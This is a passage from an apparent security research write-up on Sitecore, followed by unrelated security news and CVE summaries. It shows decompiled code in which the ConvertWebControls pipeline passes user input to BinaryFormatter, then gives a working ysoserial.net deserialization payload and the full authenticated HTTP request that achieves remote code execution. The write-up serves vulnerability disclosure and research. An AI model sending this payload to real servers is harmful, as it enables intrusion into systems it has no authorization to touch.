Web.UI.dll&__CSRFTOKEN=AAEAAAD/////AQAAAAAAAAAGAQAAACQ5ZTJhZWFkNS1kZjU2LTQ2MjUtYmM2OC1hZGYyZTcwZGEwODgL

Bonus Authenticated RCE

While looking for instances of BinaryFormatter.Deserialize we came across an instance that did lead to remote code execution, but was not available without authentication.

Unfortunatley, because it relied on binding values to ASP controls it did not work via the Server.Execute technique. In the Sitecore.Pipelines.ConvertToRuntimeHtml.ConvertWebControls pipeline processor there were several locations where unfiltered input was processed and eventually passed into a call to Base64ToObject which then called BinaryFormatter.Deserialize.

The vulnerable code is included below with added comments.

private static void Convert(HtmlDocument document)
{
    SafeDictionary<string, int> controlIds = new SafeDictionary<string, int>();
    HtmlNodeCollection htmlNodeCollection = document.DocumentNode.SelectNodes("//iframe");
    if (htmlNodeCollection != null)
    {
        foreach (HtmlNode htmlNode in ((IEnumerable<HtmlNode>)htmlNodeCollection))
        {
            string src = htmlNode.GetAttributeValue("src", string.Empty).Replace("&amp;", "&");
            ConvertWebControls.Convert(document, htmlNode, src, controlIds);
        }
    }

    // NOTE 1: select divs with the class scInlineControl, e.g. <div class="scInlineControl" id="X"> 
    htmlNodeCollection = document.DocumentNode.SelectNodes("//div[contains(@class, 'scInlineControl')]");
    if (htmlNodeCollection == null)
    {
        return;
    }
    foreach (HtmlNode htmlNode2 in ((IEnumerable<HtmlNode>)htmlNodeCollection))
    {
        HtmlNode htmlNode3 = htmlNode2.FirstChild;
        while (htmlNode3 != null && htmlNode3.NodeType != HtmlNodeType.Element)
        {
            htmlNode3 = htmlNode3.NextSibling;
        }
        if (htmlNode3 != null)
        {
            string text = htmlNode3.InnerText;
            text = HttpUtility.HtmlDecode(text);

            // NOTE 2: pass <div class="scInlineControl" id="X"> down to the next method
            ConvertWebControls.Convert(document, htmlNode2, text, controlIds);
        }
    }
}

private static void Convert(HtmlDocument document, HtmlNode node, string src, SafeDictionary<string, int> controlIds)
{
    NameValueCollection nameValueCollection = new NameValueCollection();
    string text = string.Empty;
    string empty = string.Empty;
    string text2 = string.Empty;
    nameValueCollection.Add("runat", "server");
    src = src.Substring(src.IndexOf("?", StringComparison.InvariantCulture) + 1);
    string[] list = src.Split(new char[]
    {
        '&'
    });

    // NOTE 3: take the "id" attribute of <div class="scInlineControl" id="X">
    text = ConvertWebControls.GetParameters(list, nameValueCollection, text, ref empty);
    string id = node.Id;

    // NOTE 4: select any elements where the "id" attribute equals the above id plus "_inner", e.g. <div id="X_inner">
    HtmlNode htmlNode = document.DocumentNode.SelectSingleNode("//*[@id='" + id + "_inner']");
    if (htmlNode != null)
    {
        // NOTE 5: get the "value" attribute from the "_inner" element
        text2 = htmlNode.GetAttributeValue("value", string.Empty);
        htmlNode.ParentNode.RemoveChild(htmlNode);
    }
    HtmlNode htmlNode2 = document.CreateElement(empty + ":" + text);
    foreach (object obj in nameValueCollection.Keys)
    {
        string name = (string)obj;
        htmlNode2.SetAttributeValue(name, nameValueCollection[name]);
    }
    if (htmlNode2.Id == "scAssignID")
    {
        htmlNode2.Id = ConvertWebControls.AssignControlId(empty, text, controlIds);
    }
    if (text2.Length > 0)
    {
        // NOTE 6: pass the "value" attribute text from above to Base64ToObject
        htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string);
    }
    node.ParentNode.ReplaceChild(htmlNode2, node);
}

The Convert methods first look for any elements with the class scInlineControl, it then searches for a corresponding “inner” element and passes the value attribute of this element to Base64ToObject.

The Sitecore.Convert.Base64ToObject method decodes the argument provided and passes it to BinaryFormatter. This can be seen in the snippet below.

public static object Base64ToObject(string data)
{
    Error.AssertString(data, "data", true);
    if (data.Length > 0)
    {
        try
        {
            byte[] buffer = Convert.FromBase64String(data);
            BinaryFormatter binaryFormatter = new BinaryFormatter();
            MemoryStream serializationStream = new MemoryStream(buffer);
            return binaryFormatter.Deserialize(serializationStream);
        }
        catch (Exception exception)
        {
            Log.Error("Error converting data to base64.", exception, typeof(Convert));
        }
    }
    return null;
}

There were a few places in Sitecore that this pipeline was invoked. However, the easiest to access was via /sitecore/shell/Applications/Content%20Manager/Execute.aspx?cmd=convert&mode=HTML. We used the same ysoserial.net payload from above to create the following payload.

<div class="scInlineControl" id="X">
<div id="X_inner" value="AAEAAAD/////AQAAAAAAAAAEAQAAAClTeXN0ZW0uU2VjdXJpdHkuUHJpbmNpcGFsLldpbmRvd3NJZGVudGl0eQEAAAAkU3lzdGVtLlNlY3VyaXR5LkNsYWltc0lkZW50aXR5LmFjdG9yAQYCAAAA/AlBQUVBQUFELy8vLy9BUUFBQUFBQUFBQU1BZ0FBQUY1TmFXTnliM052Wm5RdVVHOTNaWEpUYUdWc2JDNUZaR2wwYjNJc0lGWmxjbk5wYjI0OU15NHdMakF1TUN3Z1EzVnNkSFZ5WlQxdVpYVjBjbUZzTENCUWRXSnNhV05MWlhsVWIydGxiajB6TVdKbU16ZzFObUZrTXpZMFpUTTFCUUVBQUFCQ1RXbGpjbTl6YjJaMExsWnBjM1ZoYkZOMGRXUnBieTVVWlhoMExrWnZjbTFoZEhScGJtY3VWR1Y0ZEVadmNtMWhkSFJwYm1kU2RXNVFjbTl3WlhKMGFXVnpBUUFBQUE5R2IzSmxaM0p2ZFc1a1FuSjFjMmdCQWdBQUFBWURBQUFBM3dVOFAzaHRiQ0IyWlhKemFXOXVQU0l4TGpBaUlHVnVZMjlrYVc1blBTSjFkR1l0TVRZaVB6NE5DanhQWW1wbFkzUkVZWFJoVUhKdmRtbGtaWElnVFdWMGFHOWtUbUZ0WlQwaVUzUmhjblFpSUVselNXNXBkR2xoYkV4dllXUkZibUZpYkdWa1BTSkdZV3h6WlNJZ2VHMXNibk05SW1oMGRIQTZMeTl6WTJobGJXRnpMbTFwWTNKdmMyOW1kQzVqYjIwdmQybHVabmd2TWpBd05pOTRZVzFzTDNCeVpYTmxiblJoZEdsdmJpSWdlRzFzYm5NNmMyUTlJbU5zY2kxdVlXMWxjM0JoWTJVNlUzbHpkR1Z0TGtScFlXZHViM04wYVdOek8yRnpjMlZ0WW14NVBWTjVjM1JsYlNJZ2VHMXNibk02ZUQwaWFIUjBjRG92TDNOamFHVnRZWE11YldsamNtOXpiMlowTG1OdmJTOTNhVzVtZUM4eU1EQTJMM2hoYld3aVBnMEtJQ0E4VDJKcVpXTjBSR0YwWVZCeWIzWnBaR1Z5TGs5aWFtVmpkRWx1YzNSaGJtTmxQZzBLSUNBZ0lEeHpaRHBRY205alpYTnpQZzBLSUNBZ0lDQWdQSE5rT2xCeWIyTmxjM011VTNSaGNuUkpibVp2UGcwS0lDQWdJQ0FnSUNBOGMyUTZVSEp2WTJWemMxTjBZWEowU1c1bWJ5QkJjbWQxYldWdWRITTlJaTlqSUhkb2IyRnRhU0FtWjNRN0lGeHBibVYwY0hWaVhIZDNkM0p2YjNSY1dGQXdMbk5qWEhWd2JHOWhaRng0TG5SNGRDSWdVM1JoYm1SaGNtUkZjbkp2Y2tWdVkyOWthVzVuUFNKN2VEcE9kV3hzZlNJZ1UzUmhibVJoY21SUGRYUndkWFJGYm1OdlpHbHVaejBpZTNnNlRuVnNiSDBpSUZWelpYSk9ZVzFsUFNJaUlGQmhjM04zYjNKa1BTSjdlRHBPZFd4c2ZTSWdSRzl0WVdsdVBTSWlJRXh2WVdSVmMyVnlVSEp2Wm1sc1pUMGlSbUZzYzJVaUlFWnBiR1ZPWVcxbFBTSmpiV1FpSUM4K0RRb2dJQ0FnSUNBOEwzTmtPbEJ5YjJObGMzTXVVM1JoY25SSmJtWnZQZzBLSUNBZ0lEd3ZjMlE2VUhKdlkyVnpjejROQ2lBZ1BDOVBZbXBsWTNSRVlYUmhVSEp2ZG1sa1pYSXVUMkpxWldOMFNXNXpkR0Z1WTJVK0RRbzhMMDlpYW1WamRFUmhkR0ZRY205MmFXUmxjajRMCw==">X</div>
</div>

And then sent it with the following request to get our remote code execution.

POST /sitecore/shell/Applications/Content%20Manager/Execute.aspx?cmd=convert&mode=HTML HTTP/2
Host: xp0.sc
Content-Length: 2011
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: sitecore_userticket=<omitted>; .AspNet.Cookies=<omitted>

html=%3cdiv%20class%3d%22scInlineControl%22%20id%3d%22X%22%3e%0a%3cdiv%20id%3d%22X_inner%22%20value%3d%22AAEAAAD%2f%2f%2f%2f%2fAQAAAAAAAAAEAQAAAClTeXN0ZW0uU2VjdXJpdHkuUHJpbmNpcGFsLldpbmRvd3NJZGVudGl0eQEAAAAkU3lzdGVtLlNlY3VyaXR5LkNsYWltc0lkZW50aXR5LmFjdG9yAQYCAAAA%2fAlBQUVBQUFELy8vLy9BUUFBQUFBQUFBQU1BZ0FBQUY1TmFXTnliM052Wm5RdVVHOTNaWEpUYUdWc2JDNUZaR2wwYjNJc0lGWmxjbk5wYjI0OU15NHdMakF1TUN3Z1EzVnNkSFZ5WlQxdVpYVjBjbUZzTENCUWRXSnNhV05MWlhsVWIydGxiajB6TVdKbU16ZzFObUZrTXpZMFpUTTFCUUVBQUFCQ1RXbGpjbTl6YjJaMExsWnBjM1ZoYkZOMGRXUnBieTVVWlhoMExrWnZjbTFoZEhScGJtY3VWR1Y0ZEVadmNtMWhkSFJwYm1kU2RXNVFjbTl3WlhKMGFXVnpBUUFBQUE5R2IzSmxaM0p2ZFc1a1FuSjFjMmdCQWdBQUFBWURBQUFBM3dVOFAzaHRiQ0IyWlhKemFXOXVQU0l4TGpBaUlHVnVZMjlrYVc1blBTSjFkR1l0TVRZaVB6NE5DanhQWW1wbFkzUkVZWFJoVUhKdmRtbGtaWElnVFdWMGFHOWtUbUZ0WlQwaVUzUmhjblFpSUVselNXNXBkR2xoYkV4dllXUkZibUZpYkdWa1BTSkdZV3h6WlNJZ2VHMXNibk05SW1oMGRIQTZMeTl6WTJobGJXRnpMbTFwWTNKdmMyOW1kQzVqYjIwdmQybHVabmd2TWpBd05pOTRZVzFzTDNCeVpYTmxiblJoZEdsdmJpSWdlRzFzYm5NNmMyUTlJbU5zY2kxdVlXMWxjM0JoWTJVNlUzbHpkR1Z0TGtScFlXZHViM04wYVdOek8yRnpjMlZ0WW14NVBWTjVjM1JsYlNJZ2VHMXNibk02ZUQwaWFIUjBjRG92TDNOamFHVnRZWE11YldsamNtOXpiMlowTG1OdmJTOTNhVzVtZUM4eU1EQTJMM2hoYld3aVBnMEtJQ0E4VDJKcVpXTjBSR0YwWVZCeWIzWnBaR1Z5TGs5aWFtVmpkRWx1YzNSaGJtTmxQZzBLSUNBZ0lEeHpaRHBRY205alpYTnpQZzBLSUNBZ0lDQWdQSE5rT2xCeWIyTmxjM011VTNSaGNuUkpibVp2UGcwS0lDQWdJQ0FnSUNBOGMyUTZVSEp2WTJWemMxTjBZWEowU1c1bWJ5QkJjbWQxYldWdWRITTlJaTlqSUhkb2IyRnRhU0FtWjNRN0lGeHBibVYwY0hWaVhIZDNkM0p2YjNSY1dGQXdMbk5qWEhWd2JHOWhaRng0TG5SNGRDSWdVM1JoYm1SaGNtUkZjbkp2Y2tWdVkyOWthVzVuUFNKN2VEcE9kV3hzZlNJZ1UzUmhibVJoY21SUGRYUndkWFJGYm1OdlpHbHVaejBpZTNnNlRuVnNiSDBpSUZWelpYSk9ZVzFsUFNJaUlGQmhjM04zYjNKa1BTSjdlRHBPZFd4c2ZTSWdSRzl0WVdsdVBTSWlJRXh2WVdSVmMyVnlVSEp2Wm1sc1pUMGlSbUZzYzJVaUlFWnBiR1ZPWVcxbFBTSmpiV1FpSUM4K0RRb2dJQ0FnSUNBOEwzTmtPbEJ5YjJObGMzTXVVM1JoY25SSmJtWnZQZzBLSUNBZ0lEd3ZjMlE2VUhKdlkyVnpjejROQ2lBZ1BDOVBZbXBsWTNSRVlYUmhVSEp2ZG1sa1pYSXVUMkpxWldOMFNXNXpkR0Z1WTJVK0RRbzhMMDlpYW1WamRFUmhkR0ZRY205MmFXUmxjajRMCw%3d%3d%22%3eX%3c%2fdiv%3e%0a%3c%2fdiv%3e

Conclusions

We can see that even though we had looked at Sitecore before, there is still value in looking again. When dealing with large enterprise software with large attack surfaces, it is worth getting a second pair of eyes to see if anything new turns up. In this case, we found two new vectors for remote code execution, a new way to exploit an old vector and two authentcation bypasses.

Although not a novel technique, as part of our investigation we also learnt about the Server.Transfer and Server.Execute features. Something we did not previously search for when evaluating .NET codebases but will be doing in the future.

Finally, we feel this research has also served as good demonstration of the value of debugging and observing the target in addition to static analysis. When given a particulary complicated codebase, the benefits of attaching a debugger and just looking through the call stack of a request cannot be understated. Particularly in languages like .NET and Java where there is so much debugging information available at runtime.

See Assetnote in action

Find out how Assetnote can help you lock down your external attack surface.

Use the lead form below, or alternatively contact us via email by clicking here.

Related news

Earth Lusca's New SprySOCKS Linux Backdoor Targets Government Entities

The China-linked threat actor known as Earth Lusca has been observed targeting government entities using a never-before-seen Linux backdoor called SprySOCKS. Earth Lusca was first documented by Trend Micro in January 2022, detailing the adversary's attacks against public and private sector entities across Asia, Australia, Europe, North America. Active since 2021, the group has relied on

Unmasking XE Group: Experts Reveal Identity of Suspected Cybercrime Kingpin

Cybersecurity researchers have unmasked the identity of one of the individuals who is believed to be associated with the e-crime actor known as XE Group. According to Menlo Security, which pieced together the information from different online sources, "Nguyen Huu Tai, who also goes by the names Joe Nguyen and Thanh Nguyen, has the strongest likelihood of being involved with the XE Group." XE

CVE-2023-21954: Oracle Critical Patch Update Advisory - April 2023

Vulnerability in the Oracle Java SE, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: Hotspot). Supported versions that are affected are Oracle Java SE: 8u361, 8u361-perf, 11.0.18, 17.0.6; Oracle GraalVM Enterprise Edition: 20.3.9, 21.3.5 and 22.3.1. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Java SE, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability can also be exploited by using APIs in the specified Component, e.g., through...

APT Actors Exploited Telerik Vulnerability in Govt IIS Server – CISA

By Deeba Ahmed According to a joint advisory from the US CISA (Cybersecurity and Infrastructure Security Agency), the FBI (Federal Bureau… This is a post from HackRead.com Read the original post: APT Actors Exploited Telerik Vulnerability in Govt IIS Server – CISA

Multiple Hacker Groups Exploit 3-Year-Old Vulnerability to Breach U.S. Federal Agency

Multiple threat actors, including a nation-state group, exploited a critical three-year-old security flaw in Progress Telerik to break into an unnamed federal entity in the U.S. The disclosure comes from a joint advisory issued by the Cybersecurity and Infrastructure Security Agency (CISA), Federal Bureau of Investigation (FBI), and Multi-State Information Sharing and Analysis Center (MS-ISAC).

Telerik Bug Exploited to Steal Federal Agency Data, CISA Warns

An unpatched Microsoft Web server allowed multiple cybersecurity threat groups to steal data from a federal civilian executive branch.

Ransomware's Favorite Target: Critical Infrastructure and Its Industrial Control Systems

The health, manufacturing, and energy sectors are the most vulnerable to ransomware.

CVE-2022-31658: VMSA-2022-0021

VMware Workspace ONE Access, Identity Manager and vRealize Automation contain a remote code execution vulnerability. A malicious actor with administrator and network access can trigger a remote code execution.

Time to Patch VMware Products Against a Critical New Vulnerability

A dangerous VMware authentication-bypass bug could give threat actors administrative access over virtual machines.

VMWare Urges Users to Patch Critical Authentication Bypass Bug

Vulnerability—for which a proof-of-concept is forthcoming—is one of a string of flaws the company fixed that could lead to an attack chain.

Update now! VMWare patches critical vulnerabilities in several products

In a critical security advisory VMWare patches multiple RCE and EoP vulnerabilities in several affected products. The post Update now! VMWare patches critical vulnerabilities in several products appeared first on Malwarebytes Labs.

Update now! VMWare patches critical vulnerabilities in several products

Categories: Exploits and vulnerabilities Tags: CVSS Tags: rce Tags: vmware In a critical security advisory VMWare patches multiple RCE and EoP vulnerabilities in several affected products. (Read more...) The post Update now! VMWare patches critical vulnerabilities in several products appeared first on Malwarebytes Labs.

VMware Releases Patches for Several New Flaws Affecting Multiple Products

Virtualization services provider VMware on Tuesday shipped updates to address 10 security flaws affecting multiple products that could be abused by unauthenticated attackers to perform malicious actions. The issues tracked from CVE-2022-31656 through CVE-2022-31665 (CVSS scores: 4.7 - 9.8) affect the VMware Workspace ONE Access, Workspace ONE Access Connector, Identity Manager, Identity Manager

CVE-2019-18935: Release History for Telerik Products

Progress Telerik UI for ASP.NET AJAX through 2019.3.1023 contains a .NET deserialization vulnerability in the RadAsyncUpload function. This is exploitable when the encryption keys are known due to the presence of CVE-2017-11317 or CVE-2017-11357, or other means. Exploitation can result in remote code execution. (As of 2020.1.114, a default setting prevents the exploit. In 2019.3.1023, but not earlier versions, a non-default setting can prevent exploitation.)

CVE: Latest News

CVE-2023-50976: Transactions API Authorization by oleiman · Pull Request #14969 · redpanda-data/redpanda
CVE-2023-6905
CVE-2023-6903
CVE-2023-6904
CVE-2023-3907